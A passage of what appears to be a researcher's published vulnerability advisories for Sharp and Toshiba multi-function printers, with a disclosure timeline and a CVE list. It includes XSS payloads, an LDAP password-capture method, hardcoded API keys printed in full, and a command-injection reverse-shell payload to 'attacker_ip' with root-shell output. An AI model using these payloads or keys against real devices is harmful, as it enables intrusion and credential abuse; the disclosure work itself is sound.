<pre><code>kali% telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.
Copyright(C) 2005-     SHARP CORPORATION
Copyright(C) 2005-     silex technology, Inc.
login: adminAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
User 'adminAAA' logged in.

 No.  Item                                Value            (level.1)
----------------------------------------------------------------------
  1 : Configure General
  2 : Configure TCP/IP
  3 : Configure NetWare
  4 : Configure AppleTalk
  5 : Configure NetBIOS
  6 : Configure AP I/F
  7 : Configure Gateway
 97 : Display Status
 98 : Reset Settings to Defaults
 99 : Exit
Please select(1 - 99)? 1

 No.  Item                                Value            (level.2)
----------------------------------------------------------------------
  1 : Print status page after bootup    : NO
  2 : SSL Mode                          : ALL
  3 : Rendezvous Enable                 : ENABLE
  4 : Rendezvous Name                   : "MX-M365N"
  5 : SMBC Enable                       : ENABLE
  6 : 802.1X auth
  7 : Frame Size                        : 1514
  8 : SMB Authentication Flags          : 15
 99 : Back to prior menu
Please select(1 - 99)? 99

 No.  Item                                Value            (level.1)
----------------------------------------------------------------------
  1 : Configure General
  2 : Configure TCP/IP
  3 : Configure NetWare
  4 : Configure AppleTalk
  5 : Configure NetBIOS
  6 : Configure AP I/F
  7 : Configure Gateway
 97 : Display Status
 98 : Reset Settings to Defaults
 99 : Exit

Please select(1 - 99)?
</code></pre>
<p><a id="xss-login"></a></p>
<h2>Details - XSS on the /login.html page</h2>
<p>There are 2 reflected XSS vulnerabilities located in the <code>/login.html</code> webpage.</p>
<p>HTTP request sent to <code>/login.html</code>, with the query string containing the payload <code>&lt;XSS&gt;";alert('XSS');"</code>:</p>
<p>The first XSS appears on the response on line 32:</p>
<p><img alt="" src="images/2024-sharp-xss-login-01.png" /></p>
<p>The second XSS appears on the response on line 183:</p>
<p><img alt="" src="images/2024-sharp-xss-login-02.png" /></p>
<p><a id="xss-all-pages"></a></p>
<h2>Details - XSS on all other HTML pages</h2>
<p>There are 3 reflected XSS vulnerabilities located in all the html webpages.</p>
<p>An attacker can send a HTTP request to any HTML webpage with the query string containing <code>";alert(1);&lt;XSS&gt;</code> to trigger:</p>
<ul>
<li>2 JavaScript-based XSS</li>
<li>1 HTML based XSS</li>
</ul>
<p>The HTTP request is sent to <code>/main.html</code>, with the query string containing the payload <code>";alert(1);&lt;XSS&gt;</code>:</p>
<p>The first XSS appears on the response on line 32:</p>
<p><img alt="" src="images/2024-sharp-xss-all-01.png" /></p>
<p>The second XSS appears on the response on line 87:</p>
<p><img alt="" src="images/2024-sharp-xss-all-02.png" /></p>
<p>The third XSS appears on the response on line 221:</p>
<p><img alt="" src="images/2024-sharp-xss-all-03.png" /></p>
<p>From the tests, all the HTML webpages are vulnerable to these 3 XSS.</p>
<p><a id="ldap-credentials-exfiltration"></a></p>
<h2>Details - Exfiltration of LDAP credentials by downgrading the security</h2>
<p>Sharp printers can be configured with a connection to a LDAP server, with credentials.</p>
<p>While the LDAP password is not shown on the web interface, an attacker with the admin password can retrieve the password by downgrading the authentication type to <code>SIMPLE</code>, which will enable clear-text communication to a malicious server.</p>
<p>With the <code>Connect Test</code>, an attacker can downgrade the security of the authentication to <code>SIMPLE</code> and retrieve the password in clear-text by specifying a malicious OpenLDAP server:</p>
<p>LDAP Configuration - http://10.0.0.1/nw_ldap_entry.html?ldapid=0:</p>
<p><img alt="" src="images/2024-sharp-ldap.png" /></p>
<p><a href="images/2024-sharp-ldap-full.png">Click here for full image</a></p>
<p>With a malicious OpenLDAP server receiving the connection, the password will be displayed in the logs:</p>
<pre><code>kali# /usr/sbin/slapd -d 10 -f /etc/ldap/slapd.conf  -h "ldap:/// ldaps:///"
6458d55e.3103c227 0x7fe72981e200 @(#) $OpenLDAP: slapd 2.5.13+dfsg-5 (Feb  8 2023 01:56:12) $
        Debian OpenLDAP Maintainers &lt;pkg-openldap-devel@lists.alioth.debian.org&gt;
6458d55e.319e91af 0x7fe72981e200 slapd starting
6458d55e.31a5bad7 0x7fe727bff6c0 daemon: added 4r listener=(nil)
6458d55e.31a6707c 0x7fe727bff6c0 daemon: added 7r listener=0x5586390ead60
6458d55e.31a6b53d 0x7fe727bff6c0 daemon: added 8r listener=0x5586390eae30
6458d55e.31a6f00d 0x7fe727bff6c0 daemon: added 9r listener=0x5586390ea740
6458d55e.31a7661d 0x7fe727bff6c0 daemon: added 10r listener=0x5586390ea810
6458d55e.31a94b33 0x7fe727bff6c0 daemon: epoll: listen=7 active_threads=0 tvp=zero
6458d55e.31a96f6a 0x7fe727bff6c0 daemon: epoll: listen=8 active_threads=0 tvp=zero
6458d55e.31a97916 0x7fe727bff6c0 daemon: epoll: listen=9 active_threads=0 tvp=zero
6458d55e.31a981b7 0x7fe727bff6c0 daemon: epoll: listen=10 active_threads=0 tvp=zero
6458d55e.31a9933f 0x7fe727bff6c0 daemon: activity on 1 descriptor
6458d55e.31a99baf 0x7fe727bff6c0 daemon: activity on:6458d55e.31a9a375 0x7fe727bff6c0 
6458d55e.31a9b6dc 0x7fe727bff6c0 daemon: epoll: listen=7 active_threads=0 tvp=zero
6458d55e.31a9d392 0x7fe727bff6c0 daemon: epoll: listen=8 active_threads=0 tvp=zero
6458d55e.31a9dc6e 0x7fe727bff6c0 daemon: epoll: listen=9 active_threads=0 tvp=zero
6458d55e.31a9f2b6 0x7fe727bff6c0 daemon: epoll: listen=10 active_threads=0 tvp=zero
6458d562.355e84dc 0x7fe727bff6c0 daemon: activity on 1 descriptor
6458d562.355f3b42 0x7fe727bff6c0 daemon: activity on:6458d562.355f593f 0x7fe727bff6c0 
6458d562.355fde77 0x7fe727bff6c0 daemon: epoll: listen=7 busy
6458d562.355ffeb9 0x7fe727bff6c0 daemon: epoll: listen=8 active_threads=0 tvp=zero
6458d562.35601b67 0x7fe727bff6c0 daemon: epoll: listen=9 active_threads=0 tvp=zero
6458d562.3560372e 0x7fe727bff6c0 daemon: epoll: listen=10 active_threads=0 tvp=zero
6458d562.35638596 0x7fe7273fe6c0 daemon: accept() = 14
6458d562.35646744 0x7fe7273fe6c0 daemon: listen=7, new connection on 14
6458d562.3564fc1e 0x7fe727bff6c0 daemon: activity on 1 descriptor
6458d562.35656f57 0x7fe727bff6c0 daemon: activity on:6458d562.35658b4c 0x7fe727bff6c0 
6458d562.3565d7f5 0x7fe727bff6c0 daemon: epoll: listen=7 active_threads=0 tvp=zero
6458d562.3565fb50 0x7fe727bff6c0 daemon: epoll: listen=8 active_threads=0 tvp=zero
6458d562.356615c1 0x7fe727bff6c0 daemon: epoll: listen=9 active_threads=0 tvp=zero
6458d562.35662d31 0x7fe727bff6c0 daemon: epoll: listen=10 active_threads=0 tvp=zero
6458d562.35691b42 0x7fe7273fe6c0 daemon: added 14r (active) listener=(nil)
6458d562.356a5b81 0x7fe727bff6c0 daemon: activity on 2 descriptors
6458d562.356b0c68 0x7fe727bff6c0 daemon: activity on:6458d562.356b54fa 0x7fe727bff6c0  14r6458d562.356b948e 0x7fe727bff6c0 
6458d562.356bfc9e 0x7fe727bff6c0 daemon: read active on 14
6458d562.356ce70e 0x7fe727bff6c0 daemon: epoll: listen=7 active_threads=0 tvp=zero
6458d562.356d5571 0x7fe727bff6c0 daemon: epoll: listen=8 active_threads=0 tvp=zero
6458d562.356db465 0x7fe727bff6c0 daemon: epoll: listen=9 active_threads=0 tvp=zero
6458d562.356e155f 0x7fe727bff6c0 daemon: epoll: listen=10 active_threads=0 tvp=zero
6458d562.356f5783 0x7fe7273fe6c0 ldap_read: want=8, got=8
6458d562.356f9399 0x7fe7273fe6c0   0000:  30 31 02 01 01 01 01 01                            01......          
6458d562.356fd33a 0x7fe7273fe6c0 ldap_read: want=43, got=43
6458d562.3570169a 0x7fe7273fe6c0   0000:  01 03 04 15 6c 64 61 70  2d 63 72 65 64 73 35 40   ....ldap-creds5@
6458d562.357033a1 0x7fe7273fe6c0   0010:  64 6f 6d 61 69 6e 2e 6c  61 2e 2e 50 41 53 53 57   domain.la..PASSW
6458d562.35704d44 0x7fe7273fe6c0   0020:  4f 52 44 2d 49 4e 2d 43  4c 45 41 52               ORD-IN-CLEAR
6458d562.357231ef 0x7fe7273fe6c0 ldap_read: want=8 error=Resource temporarily unavailable
</code></pre>
<p>It is also possible to use wireshark to display the password.</p>
<p><a id="hardcoded-google-api-keys"></a></p>
<h2>Details - Hardcoded Google API Keys</h2>
<p>The printers contain private API Keys in the <code>main</code> program.</p>
<p>It is possible to retrieve specific googlecontent.com domain names in the main program:</p>
<p><img alt="" src="images/2024-sharp-ida-main-strings-googleusercontent.png" /></p>
<p>Reverse Engineering of the <code>sub_2146D54()</code> function defined in the main program will reveal some hardcoded keys:</p>
<p><img alt="" src="images/2024-sharp-ida-main-sub_2146D54-google-passwords-01.png" /></p>
<p><img alt="" src="images/2024-sharp-ida-main-sub_2146D54-google-passwords-02.png" /></p>
<p>The domains listed in the binary are:</p>
<ul>
<li>265490466885-m5cjvglv9q8aak493cgepe7juvafgh8c.apps.googleusercontent.com</li>
<li>347970444986-0pij6u2tfhb240edjmls3h1u8qm2v2b3.apps.googleusercontent.com</li>
<li>410988772526-6ujegl6jvquh9kstiegva8fk5j2ogag9.apps.googleusercontent.com</li>
<li>292646726735-033ggn9hmlrs8bntrj0fbstob9m8qt26.apps.googleusercontent.com </li>
</ul>
<p>These domains do not appear to be used anymore and are free for any user. An attacker can use them to receive traffic from the printers.</p>
<p><a id="hardcoded-aws-api-keys"></a></p>
<h2>Details - Hardcoded Amazon API Keys</h2>
<p>The printers contain private API Keys in the <code>main</code> program.</p>
<p>It is possible to retrieve a specific amazonaws.com address in the <code>main</code> program:</p>
<ul>
<li>https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics       </li>
</ul>
<p>When Cross-referencing this address, it appears that some private API keys are hardcoded in the program, as shown below:</p>
<ul>
<li>Postman private key: <code>44688039-5104-39be-f974-c1f5ef621a5f</code></li>
<li>API-KEY: <code>PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA</code></li>
</ul>
<p>Reverse Engineering of the sub_20D542C function defined in the <code>main</code> program:</p>
<p><img alt="" src="images/2024-sharp-ida-main-sub_20D542C-aws-01.png" /></p>
<p><img alt="" src="images/2024-sharp-ida-main-sub_20D542C-aws-02.png" /></p>
<p>We can see that curl is invoked with the <code>-k</code> option (aka <code>--insecure</code>) so any invalid SSL certificate will be accepted:</p>
<p>The pseudo-code of <code>sub_20D542C()</code> is:</p>
<pre><code>int __fastcall sub_20D542C(const char *a1, const char *a2)
{
...
        if ( sub_6A0DA0(606420, 0) )
        {
          sub_6A174C((char *)&amp;loc_940DC + 2, v4, 255);
          sub_6A174C((char *)&amp;loc_940DC + 3, v6, 80);
          sub_6A174C(606432, v7, 80);
          if ( !*v6 )
            j_strncpy_0(v6, "user", 0x50u);
          v11 = sub_6A107C(&amp;loc_940E8, 3080);
          j_snprintf(
            v9,
            0x800u,
            "/usr/bin/curl -k -o %s -U %s:%s -x %s:%d -X POST -d @\"%s\" -H \"x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDut"
            "aXS9YwWA\" -H \"Cache-Control: no-cache\" -H \"Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f\" -L \"%s\"",
            a2, 
            v6,
            v7,
            v4,
            v11,
            a1,
            "https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");
          sub_20D7E20(
            "[analy][curl] /usr/bin/curl -k -o %s -U %s:xxx -x %s:%d -X POST -d @\"%s\"  -H \"x-api-key: PBYXSIK6av8fBt8Q"
            "e1EQUaF9ZaKvTDutaXS9YwWA\" -H \"Cache-Control: no-cache\" -H \"Postman-Token: 44688039-5104-39be-f974-c1f5ef"
            "621a5f\" -L \"%s\"\n",
            a2,
            v6,
            v4,
            v11,
            a1,
            "https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");
        }
        else
        {
          j_snprintf(
            v9,
            0x800u,
            "/usr/bin/curl -k -o %s -X POST -d @\"%s\" -H \"x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA\" -H \"Ca"
            "che-Control: no-cache\" -H \"Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f\" -L \"%s\"",
            a2,
            a1,
            "https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");
          sub_20D7E20(
            "[analy][curl] /usr/bin/curl -k -o %s -X POST -d @\"%s\" -H \"x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9"
            "YwWA\" -H \"Cache-Control: no-cache\" -H \"Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f\" -L \"%s\"\n",
            a2,
            a1,
            "https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");
        }
        v12 = j_mfp_system((int)v9);
</code></pre>
<p><a id="cve-2022-45796"></a></p>
<h2>Details - CVE-2022-45796 - RCE</h2>
<p>Since the PoC for <a href="https://jvn.jp/en/vu/JVNVU96195138/index.html">CVE-2022-45796</a> was not public, an authenticated admin user can go to http://ip/nw_interface.html and use the IPv6 IP field to exploit a command injection:</p>
<p><img alt="" src="images/2024-sharp-cve-2022-45796.png" /></p>
<p><a href="images/2024-sharp-cve-2022-45796-full.png">Click here for full image</a></p>
<p>Using Burp, an attacker can intercept the resulting request and inject a command inside the vulnerable <code>ggt_textbox(16)</code> field, for example,
<code>ggt_textbox%2816%29=%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2Fattacker_ip%2F443+0%3E%261</code> corresponding to the payload <code>|bash -i /dev/tcp/attacker_ip/443 0&gt;&amp;1</code>.</p>
<p>The attacker will receive a root shell from the printers and will get a full admin access, allowing to backdoor the printer for persistence:</p>
<pre><code>kali% nc -l -v -p 443
listening on [any] 443 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.10] from (UNKNOWN) [10.0.0.1] 58196
bash: cannot set terminal process group (619): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
bash-4.3# uname -ap
Linux SC58C36B 4.1.46-rt52 #2 SMP PREEMPT RT Fri Apr 26 12:29:16 JST 2019 aarch64 GNU/Linux
bash-4.3# ps -auxww | grep ping
root      5022  0.0  0.0   1916   368 ?        S    09:34   0:00 grep ping
root     28966  0.0  0.0   2876  1940 ?        S    09:33   0:00 sh -c ping6 -c 1 -W 2 |bash -i &gt;&amp; /dev/tcp/10.0.0.10/443 0&gt;&amp;1
bash-4.3#
init-+-aarch64-fsl-lin
     |-access_audit_mg
     |-bcr_iface
     |-blackscreen_mon
     |-check_hash_daem
     |-cmd_proc
     |-cpu_state
     |-dbus-daemon
     |-dout_daemon---14*[{dout_daemon}]
     |-dummy_init
     |-getty
     |-intsrt
     |-linter
     |-mgrcpuif_r1b---2*[{mgrcpuif_r1b}]
     |-mgrcpuif_r1c---2*[{mgrcpuif_r1c}]
     |-nfcproc---7*[{nfcproc}]
     |-ocrsrv---21*[{ocrsrv}]
     |-oom_watch
     |-poff_reboot
     |-pulseaudio---{null-sink}
     |-rc---S998linuxApp-+-IFS---20*[{IFS}]
     |                   |-main-+-preview---48*[{preview}]
     |                   |      |-sxlinklocald
     |                   |      `-514*[{main}]
     |                   |-netp---netp---sh---bash---pstree
     |                   |-pdl---43*[{pdl}]
     |                   |-reus_lcd_mgr---{reus_lcd_mgr}
     |                   |-rtc_manager---{rtc_manager}
     |                   |-2*[seriallink---6*[{seriallink}]]
     |                   |-sound_play-+-14*[{sound_play}]
     |                   |            `-{threaded-ml}
     |                   |-startx---xinit-+-X
     |                   |                `-sh-+-NX---7*[{NX}]
     |                   |                     |-ui_mainview---12*[{ui_mainview}]
     |                   |                     `-ui_subview---7*[{ui_subview}]
     |                   |-usbch_mgr
     |                   |-vmstat
     |                   |-watch_proc
     |                   `-wlctlproc---6*[{wlctlproc}]
     |-2*[rotate]
     |-rsyslogd-+-{in:imklog}
     |          |-{in:immark}
     |          |-{in:imuxsock}
     |          `-{rs:main Q:Reg}
     |-system_reset---6*[{system_reset}]
     `-udevd---2*[udevd]
bash-4.3#
</code></pre>
<h2>Vendor Response</h2>
<p>JPCERT provided a <a href="https://jvn.jp/en/vu/JVNVU93051062/index.html">security bulletin</a>.</p>
<p>Sharp provided a <a href="https://global.sharp/products/copier/info/info_security_2024-05.html">security bulletin</a>.</p>
<p>Toshiba provided a <a href="https://www.toshibatec.com/information/20240531_02.html">security bulletin</a>.</p>
<p><a id="timeline"></a></p>
<h2>Report Timeline</h2>
<ul>
<li>May 2023: Security assessment performed on Sharp Multi-function printers.</li>
<li>June 1, 2023: A complete report was sent to JPCERT (security contact for Sharp).</li>
<li>June 6, 2023: JPCERT aknowledged the reception of the security assessment and asked more information about the security contact.</li>
<li>June 7, 2023: Information about the security contact provided to JPCERT.</li>
<li>June 7, 2023: JPCERT confirmed the reception of the security contact.</li>
<li>Jul 17, 2023: Questions sent to JPCERT asking for any feedback from Sharp.</li>
<li>Jul 18, 2023: JPCERT confirmed that they had a meeting with Sharp a week ago. Sharp finished the investigation and was preparing a document listing all the issues.</li>
<li>Jul 25, 2023: JPCERT provided the Excel file with Sharp's comments.</li>
<li>Jul 26, 2023: I confirmed the reception of the documents</li>
<li>Jul 28, 2023: Comments sent to JPCERT in the Excel file to ask to re-evaluate some issues.</li>
<li>Aug 1, 2023: Received responses from JPCERT regarding some of the issues.</li>
<li>Aug 1, 2023: Additional information provided to JPCERT regarding a potential disclosure of vulnerabilities if the issues are not patched. I suggested a tripartite meeting with Sharp and JPCERT to review the issues.</li>
<li>Aug 2, 2023: JPCERT suggested solutions to get security patches in a timely manner by prioritizing issues.</li>
<li>Aug 3, 2023: Agreed with JPCERT to prioritize vulnerabilities based on severity, then patch critical vulnerabilities as soon as possible while delaying hard-to-fix vulnerabilities.</li>
<li>Aug 4, 2023: JPCERT confirmed that they are working with Sharp to get the issues fixed.</li>
<li>Aug 16, 2023: JPCERT confirmed that they asked Sharp to reconsider some of the issues with two buckets (short-term fixes and long-term countermeasures) and that Sharp was working on the issues.</li>
<li>Sep 13, 2023: I answered that it is an acceptable practice, since short-term fixes and long-term countermeasures are currently being implemented by other printer vendors.</li>
<li>Sep 14, 2023: JPCERT confirmed that they are working with Sharp to get security patches.</li>
<li>Oct 10, 2023: I confirmed the reception of the updates.</li>
<li>Nov 16, 2023: JPCERT provided a new Excel file with the issues and the countermeasures provided by Sharp.</li>
<li>Nov 21, 2023: Excel file was reviewed and Sharp suggested to patch vulnerable code and remove vulnerable features.</li>
<li>Jan 29, 2024: Asking about the status of the vulnerabilities (CVE, availability of security patches).</li>
<li>Jan 30, 2024: JPCERT confirmed that a JVN advisory will be published with corresponding CVEs. Security patches will be provided by May 2024.</li>
<li>Jan 30, 2024: I suggested to test patched firmware images to confirm that vulnerabilities were correctly patched.</li>
<li>Jan 31, 2024: JPCERT passed the message to Sharp regarding additional tests of patched firmware images.</li>
<li>Feb 16, 2024: JPCERT sent the updated Excel file containing the vulnerabilities.</li>
<li>Feb 16, 2024: Confirmation of the reception of the Excel file.</li>
<li>Feb 20, 2024: Updated Excel file sent to JPCERT with my comments.</li>
<li>Mar 1, 2024: JPCERT sent comments regarding my feedbacks.</li>
<li>Mar 4, 2024: I confirmed the reception of the feedbacks.</li>
<li>May 8, 2024: Email asking JPCERT when the security advisories and security patches will be published.</li>
<li>May 16, 2024: JPCERT sent a list of affected products/versions and confirmed that they are working on a draft.</li>
<li>May 20, 2024: I suggested to include unsupported models since, based on my testing, some unsupported models were vulnerable.</li>
<li>May 21, 2024: JPCERT reported sending this suggestion to Sharp.</li>
<li>May 28, 2024: JPCERT provided the JVN English edition draft advisory, the final list of affected products and Toshiba Tech MFPs information.</li>
<li>May 28, 2024: I asked JPCERT to provide me with the list of CVEs for the list of vulnerabilities I reported.</li>
<li>May 29, 2024: JPCERT provided a list of vulnerabilities along with CVEs and clarifications regarding some of the findings.</li>
<li>May 30, 2024: Confirmation sent to JPCERT that the list was received.</li>
<li>May 31, 2024: JPCERT published a security advisory: <a href="https://jvn.jp/en/vu/JVNVU93051062/index.html">https://jvn.jp/en/vu/JVNVU93051062/index.html</a>.</li>
<li>May 31, 2024: Sharp published a security advisory: <a href="https://global.sharp/products/copier/info/info_security_2024-05.html">https://global.sharp/products/copier/info/info_security_2024-05.html</a>.</li>
<li>May 31, 2024: Toshiba published a security advisory: <a href="https://www.toshibatec.com/information/20240531_02.html">https://www.toshibatec.com/information/20240531_02.html</a>.</li>
<li>June 27, 2024: A security advisory is published.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html">https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2024-sharp-mfp.txt">https://pierrekim.github.io/advisories/2024-sharp-mfp.txt</a></p>
<p><a href="https://jvn.jp/en/vu/JVNVU93051062/index.html">https://jvn.jp/en/vu/JVNVU93051062/index.html</a></p>
<p><a href="https://global.sharp/products/copier/info/info_security_2024-05.html">https://global.sharp/products/copier/info/info_security_2024-05.html</a></p>
<p><a href="https://www.toshibatec.com/information/20240531_02.html">https://www.toshibatec.com/information/20240531_02.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>40 vulnerabilities in Toshiba Multi-Function Printers</title>
        <link href="2024-06-27-toshiba-mfp-40-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>e-STUDIO Multi-Function Printers (MFPs) are fast and productive, providing businesses and organisations the capability to produce what you need, when you need it.</p>
<p>From <a href="https://www.toshibatec.co.uk/workplace-solutions/products-and-solutions/mfps-and-printers/">https://www.toshibatec.co.uk/workplace-solutions/products-and-solutions/mfps-and-printers/</a></p>
</blockquote>
<h2>Vulnerability Summary</h2>
<p>Vulnerable versions: 103 different models of Toshiba Multi-Function Printers (MFP) are vulnerable. It is recommended to visit the official <a href="https://www.toshibatec.com/information/20240531_01.html">Toshiba advisory</a>, review the <a href="https://www.toshibatec.com/information/pdf/information20240531_01.pdf">list of affected printers</a> and apply security patches and replace unsupported MFP models.</p>
<p>The summary of the vulnerabilities is as follows:</p>
<ol>
<li><a href="#pre-auth-xxe-dos">CVE-2024-27141 - Pre-authenticated Blind XML External Entity (XXE) injection - DoS</a></li>
<li><a href="#pre-auth-xxe">CVE-2024-27142 - Pre-authenticated XXE injection</a></li>
<li><a href="#pre-auth-rce-snmp">CVE-2024-27143 - Pre-authenticated Remote Code Execution as root</a></li>
<li><a href="#pre-auth-rces-upload">CVE-2024-27144 - Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a><br>
4.1. <a href="#pre-auth-rce-upload-wsgi-py">Remote Code Execution - Upload of a new .py module inside WSGI Python programs</a><br>
4.2. <a href="#pre-auth-rce-upload-wsgi-ini">Remote Code Execution - Upload of a new .ini configuration files inside WSGI Python programs</a><br>
4.3. <a href="#pre-auth-rce-upload-gdb">Remote Code Execution - Upload of a malicious script <code>/tmp/backtraceScript.sh</code> and injection of malicious gdb commands</a><br>
4.4. <a href="#pre-auth-rce-upload-sapphost">Remote Code Execution - Upload of a malicious <code>/home/SYSROM_SRC/build/common/bin/sapphost.py</code> program</a><br>
4.5. <a href="#pre-auth-rce-libs">Remote Code Execution - Upload of malicious libraries</a><br>
4.6. <a href="#pre-auth-rce-misc">Other ways to get Remote Code Execution</a></li>
<li><a href="#post-auth-rces-upload">CVE-2024-27145 - Multiple Post-authenticated Remote Code Executions as root</a></li>
<li><a href="#lack-privilages-separation">CVE-2024-27146 - Lack of privileges separation</a></li>
<li><a href="#lpe-rce-snmpd">CVE-2024-27147 - Local Privilege Escalation and Remote Code Execution using snmpd</a></li>
<li><a href="#lpe-rce-path">CVE-2024-27148 - Local Privilege Escalation and Remote Code Execution using insecure PATH</a></li>
<li><a href="#lpe-rce-ld-preload">CVE-2024-27149 - Local Privilege Escalation and Remote Code Execution using insecure LD_PRELOAD</a></li>
<li><a href="#lpe-rce-ld-library-path">CVE-2024-27150 - Local Privilege Escalation and Remote Code Execution using insecure LD_LIBRARY_PATH</a></li>
<li><a href="#lpe-rce-106-programs">CVE-2024-27151 - Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs</a><br>
11.1. <a href="#lpe-rce-3-programs">3 vulnerable programs not running as root</a><br>
11.2. <a href="#lpe-rce-103-programs">103 vulnerable programs running as root</a></li>
<li><a href="#lpe-rce-libs">CVE-2024-27152 - Local Privilege Escalation and Remote Code Execution using insecure permissions for libraries</a><br>
12.1. <a href="#lpe-rce-syscallerr">Example with <code>/home/SYSROM_SRC/bin/syscallerr</code></a></li>
<li><a href="#lpe-rce-cissm">CVE-2024-27153 - Local Privilege Escalation and Remote Code Execution using CISSM</a></li>
<li><a href="#passwords-logs">CVE-2024-27154 and CVE-2024-27155 - Passwords stored in clear-text logs and insecure logs</a><br>
14.1. <a href="#passwords-logs-01">Clear-text password written in logs when an user logs into the printer</a><br>
14.2. <a href="#passwords-logs-02">Clear-text password written in logs when a password is modified</a></li>
<li><a href="#sessions-logs-01">CVE-2024-27156 - Leak of authentication sessions in insecure logs in /ramdisk/work/log directory</a></li>
<li><a href="#sessions-logs-02">CVE-2024-27157 - Leak of authentication sessions in insecure logs in /ramdisk/al/network/log directory</a></li>
<li><a href="#hardcoded-root-password">CVE-2024-27158 - Hardcoded root password</a></li>
<li><a href="#harcoded-password-logs">CVE-2024-27159 - Hardcoded password used to encrypt logs</a></li>
<li><a href="#harcoded-password-logs-weak-cipher">CVE-2024-27160 - Hardcoded password used to encrypt logs and use of a weak digest cipher</a></li>
<li><a href="#harcoded-password-files">CVE-2024-27161 - Hardcoded password used to encrypt files</a></li>
<li><a href="#dom-xss">CVE-2024-27162 - DOM-based XSS present in the /js/TopAccessUtil.js file</a></li>
<li><a href="#leak-admin-password">CVE-2024-27163 - Leak of admin password and passwords</a></li>
<li><a href="#hardcoded-password-telnetd">CVE-2024-27164 - Hardcoded credentials in telnetd</a></li>
<li><a href="#lpe-procsuid">CVE-2024-27165 - Local Privilege Escalation using PROCSUID</a></li>
<li><a href="#insecure-core-files">CVE-2024-27166 - Insecure permissions for core files</a></li>
<li><a href="#lpe-sendmail">CVE-2024-27167 - Insecure permissions used for Sendmail - Local Privilege Escalation</a></li>
<li><a href="#hardcoded-keys-python">CVE-2024-27168 - Hardcoded keys found in Python applications used to generate authentication cookies</a></li>
<li><a href="#lpe-webpanel">CVE-2024-27169 - Lack of authentication in WebPanel - Local Privilege Escalation</a></li>
<li><a href="#hardcoded-credentials-webdav">CVE-2024-27170 - Hardcoded credentials for WebDAV access</a></li>
<li><a href="#insecure-permissions">CVE-2024-27171 - Insecure permissions</a></li>
<li><a href="#rce-command-injection">CVE-2024-27172 - Remote Code Execution - command injection as root</a></li>
<li><a href="#rce-insecure-upload-01">CVE-2024-27173 - Remote Code Execution - insecure upload</a></li>
<li><a href="#rce-insecure-upload-02">CVE-2024-27174 - Remote Code Execution - insecure upload</a></li>
<li><a href="#lfi">CVE-2024-27175 - Local File Inclusion</a></li>
<li><a href="#rce-insecure-upload-03">CVE-2024-27176 - Remote Code Execution - insecure upload</a></li>
<li><a href="#rce-insecure-upload-04">CVE-2024-27177 - Remote Code Execution - insecure upload</a></li>
<li><a href="#rce-insecure-copy">CVE-2024-27178 - Remote Code Execution - insecure copy</a></li>
<li><a href="#session-disclosure-logs">CVE-2024-27179 - Session disclosure inside the log files in the installation of applications</a></li>
<li><a href="#toctou-rce">CVE-2024-27180 - TOCTOU vulnerability in the installation of applications, allowing to install rogue applications and get RCE</a></li>
</ol>
<p>CVE-2024-27171 to CVE-2024-27180 affect the implementation of third-party application system and third-party applications installed by default in Toshiba printers - this is an extremely interesting attack surface for persistence.</p>
<p>TL;DR: An attacker can compromise Toshiba Multi-Function Printers using multiple vulnerabilities.</p>
<p>List of vulnerable models of Toshiba Multi-Function Printers (103 models):</p>
<pre><code>2021AC, 2521AC, 2020AC, 2520AC, 2025NC, 2525AC, 3025AC, 3525AC, 3525ACG, 4525AC, 4525ACG, 5525AC, 5525ACG,
6525AC, 6525ACG, 2528A, 3028A, 3528A, 3528AG, 4528A, 4528AG, 5528A, 6528A, 6526AC, 6527AC, 7527AC, 6529A,
7529A, 9029A, 330AC, 400AC, 2010AC, 2110AC, 2510AC, 2610AC, 2015NC, 2515AC, 2615AC, 3015AC, 3115AC, 3515AC,
3615AC, 4515AC, 4615AC, 5015AC, 5115AC, 2018A, 2518A, 2618A, 3018A, 3118A, 3018AG, 3518A, 3518AG, 3618A,
